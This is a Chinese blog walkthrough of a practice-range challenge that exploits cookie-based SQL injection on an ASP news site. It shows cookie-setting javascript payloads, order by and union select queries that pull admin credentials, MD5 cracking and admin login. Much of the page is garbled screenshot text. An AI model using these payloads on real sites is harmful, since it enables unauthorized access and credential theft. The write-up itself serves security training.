封神台靶场,为了小芳,冲之——cookie注入

原创

午喻 ● 于 2020-10-30 09:55:54 发布 ● 193 ☆ 收藏 2
 分类专栏: <u>渗透入门</u>文章标签: <u>cookie</u>
 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。
 本文链接: <u>https://blog.csdn.net/Wubuqing/article/details/109379178</u>
 版权



渗透入门 专栏收录该内容

3 篇文章 0 订阅 订阅专栏 第二个靶场 打开网站

Image: Contract Case Image: Co		0
I DH S RX O RX O RX O 758 O 75980 Adobe Flash Player (HERRE) I BRESS Denor Adobe Flash Player (HERRE) Adobe Flash Player (HERRE) I BRESS Denor	सः १	9
Adole Flash Player (2001) # #R260 News # 4.000 Flash Player (2001) * #PREM Continue Cont * #R260 News # 4.000 Flash Player (2001) * #R260 News * #R260 News # 4.000 Flash Player (2001) * #R260 News * #R260 News # 4.000 Flash Player (2001) * #R260 News * #R260 News # 4.000 Flash Player (2001) * #R260 News * #R260 News # 4.000 Flash Player (2001) * #R260 News * #R260 News # 4.000 Flash Player (2001) * #R260 News * #R260 News # 4.000 Flash Player (2001) * #R260 News * # 4.000 Flash Player (2001) * 1000 Flash Player (2001) * #R260 News * # 4.000 Flash Player (2001) * 1000 Flash Player (2001) * # 4.000 Flash Player (2001) * # 4.000 Flash Player (2001) * # 4.000 Flash Player (2001) * # 4.000 Flash Player (2001) * # 4.000 Flash Player (2001) * # 4.000 Flash Player (2001) * # 4.000 Flash Player (2001) * # 4.000 Flash Player (2001) * # 4.000 Flash Player (2001) * # 4.000 Flash Player (2001) * # 4.000 Flash Player (2001) * # 4.000 Flash Player (2001) * # 4.000 Flash Player (2001)		
EPP名称 Customer Cean		
他们学校的 Catcher Case		
・ 第第第第編集員工 ・ 「2004-3-41」 ・ 「2004-3-41		
● 2006年17年1月1日日日日 ● 2006年17年1月1日日日日 ● 2006年17年1月1日日日日 ● 2007日日日日日日日日日日 ● 2007日日日日日日日日日日日日日日日日日日日日日日日日日日日日日日日日日日日		
・シームに大工工工作が使用者(単位)。 (2004-2-41) ・ロロックの使用がなな、(2004-2-41) ・ロロックの使用がなな、(2004-2-41) ・の知道ななななかならないがあ。(2004-2-41) ・の知道ななななからからいがあ。(2004-2-41) ・の知道ななななからからいがあ。(2004-2-41) ・の知道ななななからからいがあ。(2004-2-41) ・の知道ななななからからいがあ。(2004-2-41) ・の知道ななななからからいがある		
第二次であり取り「レキュット」 [2004-3-4] *の時の学校的な知知。#*********************************		
Adobe Planh Paper Element Adobe Planh Paper Element 正在历史中语所有。 定在是中心的目标,而在		
Adobe Plack Payer 已被原始 TE安全节程 常常没有通信 集章 程 常常没有通信 集章 程		
Added Halt Paper CHERE		
王经安全学校 常常安全海流体系提供		
市社委会学校 国家学会演奏体系程序		
常用的全型规 常的学会演奏体系要求		
常有安全建造体多量符		
90.0.2.200.00 P 1		
e la constance de la		
一口 当次去 100 AP 100 AP 100 AP 100 AP		

找一下注入点 一般在新闻这种里面点开看看

⊖ here browner in × ⊗ here brokner in ×	+		8	×
← → C ▲ 不安生 59.63.200.79.8004/shownews.asp?id=171		丸 ☆	Θ	1
H 在用 🖀 用度 🛛 用型 🔿 非乐 🕲 大乐 🕲 万分用的				
	<section-header><section-header><section-header><text><text><text><text><text></text></text></text></text></text></section-header></section-header></section-header>	Wubuq	in	9

先判断是否存在注入

03.200.79:8004/snownews.asp?ig=1/1%20%27



有waf

尝试了很多方法绕过都没成功,/and/,aandnd,AnD等一系列都没绕过去,乌鸡鲅鱼 删掉id=169 发现

○ HERRE, RECORDER AL: X	-	٥	×
€ → C ▲ 不安全 59.63.200.79.8004/ibownews.asp?	20 1	r 0	1
III 空村 😫 期末 〇 東正 〇 市谷 〇 大川 〇 万分用約			
福建博均雕塑脱胎漆器有限公司 Fullini Balli blassel Tooliniugu Linitig Geewar			Î
NUTT I X7501 I 2890 I #490 I #289 I 在地話古 I RESON			
Adobe Flash Player 已燃用面			
新聞会社			
1969年11月25年5日 金金新闻			1
Gates			l
(2·1)214			
https://blog.csdn.net/V	Vubu	qing	g

然后判断cookie注入

在搜索框输入

Javascript:alert(document.cookie="id="+escape('169'));

0 102812	8818	angen: × 🕹 dang: shoanngen: × +	-	•	×
€ → C	۲	[avascriptalent/document.cookie="id="+escape(169")/;		Θ	1
H 28 8	0	[avascriptaler6(document.cookle="id="+escape("169"));		_	
	٩	javascriptalent/document.cookie="id="+escape(169')); - 高変視察 視察			Î
		FULLIM BUJA DIADHU TUDTINGKU LINITED CORNAT			
		NASSI 2750 2560 1 8496 1 8289 1 5485 1 8880			
		2			
		Adobe Flash Player 日地詳細			
		2002/1#			
		▶ ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●			
		Lasse) 59450			
		Gama			ľ
		初州资料			
		nttps://blog.csdn.net/Wu	pudr	ing	J

然后弹窗了(其中 "id=" 取决URL中的id= escape中的数值也是URL中id=的值)返回刚刚的页面,把ID删除后一样能正常显示。 说明服务器能接收cookie传的id参数。

O RENT. RECEIPTER : X O RENT. RECEIPTER : :	< + ·		ه ه	×
 ← → C ▲ 不安全 59.63.200.79.0004/ihownews.asp? Ⅲ 应用 魯 兩度 ④ 兩至 ④ 常年 ● 天孫 ● 万分用所 	59.63.200.798004 图示	兆 ☆	θ	1
福建博均雕塑脱。 FUIIM BOUR DINGHU TH	id-169			
No. NHER I	メデ水白 戸惑やら 家戸泉泉 在北田市 取具化白			
	*			
	Adobe Flash Player 日毗阿爾			
250	R218			
※第四中心 公主新闻	Dadio: Stanker			
(720%)				ľ
1078/H	https://blog.csdn.net/	Wubuq	ing	9

然后利用order by 查询字段数

Javascript:alert(document.cookie="id="+escape("169 order by 10"));

	8 8	121	H2.	R8:0	andre: × O adod. Reconstrue: × +		
4)	С	۲	(avascriptalent)document.cookie="id="+escape("169 order by 10 ^{(h}))	Θ	1
H	8	н.	8	0	lavascriptalertidocument.cookie="id="+escape/"169 order bv 10"I)		



返回后正常

O RENT. RECORDER OF X O RENT. RECORDER	kų≤ × +	-	8	×
← → C ▲ 不完全 59.63.200.79.8004/shownews.asp Ⅲ 应用 會 用菜 Ø 用	37	九 插种已补 合	0	1
福建博均融設 Fuline Boom Prode N _w 。 网络	愛説胎漆器有限公司 e) TuoTuique Liefte caevar 福気 关7水11 アあゆゆ 単単中ゆ 単户業等 在映画書 映長取11 / デ			
	Adobe Flash Player 日間開催			
 ・ 部間中心 立法所属 行政研究 	主持凡夫克王程引編為聚公司相反相及 上局大克王哲長相目指公用相違法件。 发育者: admin: 发布打击: 2000-6-24 12:32:19 消除: 73次			
(其中四4) (不能均等	変員業務:上海見大売工度引成有限公司業品業人、業産工艺支払(支付 <u>用料)</u> 一定(1)(1)(1)(1)(1)(1)(1)(1)(1)(1)(1)(1)(1)(Wubuo	qin	g

然后order by 11 返回后页面错误,说明只有10个

0 102012. BRIDE	1.1122 207 × 0 112112.	新学校教授学校に × +		8	×
€ → C A2	不安全 59.63.200.79.8004/\/h	ownews.asp?	丸 ☆	Θ	1
H 28 3 88 6	0 mm 0 mm 0 mm 0	5.分類局		_	_
	福建 Fulling	月均難塑脱胎漆器有限公司 And Eventy Trollingtow LittleTe compart			
	X.	N9825 1 X7511 1 2690 1 20100 1 2028 1 5158 1 5158 1 1 2010 1 2010			
		Adobe Flash Flager 日田同福			
	· 8588-0	2558208			
	ODER.	D#3% 5#45tt			
	行動開発				
	(注水资料 (注水资料	https://blog.csdp.net/M	/ubua	ind	1
	- mite	nups.noiog.csch.neiw	rubuy	mig	Ø

然后利用union select 1,2,3,4,5,6,7,8,9,10 from admin (猜测是admin表) # 后本委回复的位置

然后	 	回	显	旳	位.	置	

O 102012. BRIDE	ers: × O seret er + +	– s x
← → C ▲ 不幸	2 59.63.200.79.8004/ihownews.asp?	☆ 第件日報日報 ☆ ❸ :
H 24 8 AX 0	和空 〇 平浜 〇 大浜 〇 万分戦時	
	福建博均雕塑脱胎漆器有限公司 Fuum Ruan Lauster Instituting Listing carewar	
	NSER 2780 2890 2890 2898 2888 2888	and the
	Adobe Flash Player 日前月前	
	▶ : MSD中心 i 2	Cardina and a
	22542	
	GERE	
	资布着:7 没有盯眉:8 质读:9次	

	-	-242	https://blog.csdn.net	Wubuqing
--	---	------	-----------------------	----------

有2,3,7,8,9 然后在对应的位置查询

union select 1,2,3,4,5,6,7,username,password,10 from admin

O HENE. BRODENES #: × O HENE. BRODENES #: ×	*	- 8 x
← → C ▲ 不安生 59.63.200.79:8004/uhownews.asp?		☆ ☆ ⊖ :
※ 空田 2 両皮 ② 用豆 ③ 市田 ④ 大田 ④ 大田 ④ 万分用町		
	ー ー ー Adobe Flash Player 已成算職	
· 新闻中心 1 2 心化解释		
GURE	2	
但不對4	重布着: 7 至布时间: admin 用度: b9a2a2b5dHb918c次	
-28# a		
関係任共 1952年 第1952年 第1952年 第1952年 第1952年 第1957	ಸರ್ಪನೆ ೫ರಕರ	
A construction of a section of the construction of the constructio	a construction of the state of	
び 掌控 ang Hong Zhe	AND ALL PILO TODE ALP SCOLL BESS MACTOR RE RE BEANS, BELORG REST BOT BY REAL BECKER RINTEDS://blog.csdn.net/ Copright 2012 Adds Nets Al Fight Reserved	Wubuqing

Password 有加密 解一下

输入	让你无语的	MD5
b9a2a2b5dffb918c		解密
md5		
welcome		

我们就知道了 username: admin password: welcome 然后进入后台登录界面

介囬							
	0 142012. BRIDER	 ※ Ø 物理共動業 	× +			– ø ×	
	← → C ▲ 不安全 50	.63.200.79:8004/admin/login.asp				÷ ⊖ :	
	🗄 ER 😫 RK 🕹 RE 🖗	ট রঙা 🕹 সরা 🕹 সন্ধায					
				全业网站管理系统			
				管理员要录			
			Δ	間户品 和日 初: 初: 2117 (現): (現): (現): (現): (現): (現): (現): (現):			
			-				
				https:/	//blog.csdn.net/Wi	ubuqing	
							1

输入密码登录进去



https://blog.csdn.net/Wubuging

成功拿到key

还有另一个方法,利用burp抓包,然后在url中把id=170删除,加在cookie后面,记得用分号隔开,然后看页面是否报错,如果不 报错说明存在cookie注入,然后利用查询语句查询即可,查询语句之间用+连接。